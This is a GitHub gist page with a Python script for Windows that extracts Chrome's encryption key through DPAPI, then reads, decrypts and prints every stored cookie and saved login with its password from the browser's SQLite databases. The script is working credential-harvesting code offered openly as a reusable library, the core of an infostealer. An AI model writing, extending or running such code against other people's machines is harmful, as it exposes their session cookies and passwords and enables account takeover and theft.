Last active
May 4, 2024 12:23
-
-
Save Sovenok-Hacker/ccc54217f71a008743af8fa6e40cc158 to your computer and use it in GitHub Desktop.
A little utility and library to dump and decrypt Google Chrome cookies and saved creds (for Windows)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Thanks to https://gist.github.com/GramThanos/ff2c42bb961b68e7cc197d6685e06f10 | |
| import os | |
| import json | |
| import base64 | |
| import sqlite3 | |
| # install pypiwin32 | |
| import win32crypt | |
| # install pycryptodomex | |
| from Cryptodome.Cipher import AES | |
| # Load encryption key | |
| def get_key(): | |
| encrypted_key = None | |
| with open(os.getenv("APPDATA") + "/../Local/Google/Chrome/User Data/Local State", 'r') as file: | |
| encrypted_key = json.loads(file.read())['os_crypt']['encrypted_key'] | |
| encrypted_key = base64.b64decode(encrypted_key) | |
| encrypted_key = encrypted_key[5:] | |
| return win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1] | |
| def is_chrome_installed(): | |
| return os.path.exists(os.getenv("APPDATA") + "/../Local/Google/Chrome/") | |
| def cookie_path(): | |
| if os.path.exists(os.getenv("APPDATA") + "/../Local/Google/Chrome/User Data/Default/Network/Cookies"): | |
| return os.getenv("APPDATA") + "/../Local/Google/Chrome/User Data/Default/Network/Cookies" | |
| if os.path.exists(os.getenv("APPDATA") + "/../Local/Google/Chrome/User Data/Default/Cookies"): | |
| return os.getenv("APPDATA") + "/../Local/Google/Chrome/User Data/Default/Cookies" | |
| return False | |
| def creds_path(): | |
| if os.path.exists(os.getenv("APPDATA") + "/../Local/Google/Chrome/User Data/Default/Login Data"): | |
| return os.getenv("APPDATA") + "/../Local/Google/Chrome/User Data/Default/Login Data" | |
| return False | |
| def decrypt_data(encrypted_value): | |
| # Decrypt the encrypted_value | |
| try: | |
| # Try to decrypt as AES (2020 method) | |
| value = AES.new(get_key(), AES.MODE_GCM, nonce=encrypted_value[3:3+12]).decrypt_and_verify(encrypted_value[3+12:-16], encrypted_value[-16:]).decode() | |
| except: | |
| # If failed try with the old method | |
| value = win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[1].decode() or value or None | |
| return value | |
| def get_cookies(): | |
| if not is_chrome_installed(): | |
| return | |
| with sqlite3.connect(cookie_path()) as db: | |
| for host_key, name, value, encrypted_value in db.execute('SELECT host_key, name, value, encrypted_value FROM cookies ORDER by creation_utc').fetchall(): | |
| value = decrypt_data(encrypted_value) | |
| yield (host_key, name, value) | |
| def get_creds(): | |
| if not is_chrome_installed(): | |
| return | |
| with sqlite3.connect(creds_path()) as db: | |
| for url, login, encrypted_password in db.execute('SELECT origin_url, username_value, password_value FROM logins ORDER by date_last_used').fetchall(): | |
| password = decrypt_data(encrypted_password) | |
| yield (url, login, password) | |
| if __name__ == '__main__': | |
| print('Cookies:') | |
| for host, name, value in get_cookies(): | |
| print(f'{host} | {name} = {value}') | |
| print('Logins and Passwords:') | |
| for url, login, password in get_creds(): | |
| print(f'{url} | {login}:{password}') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment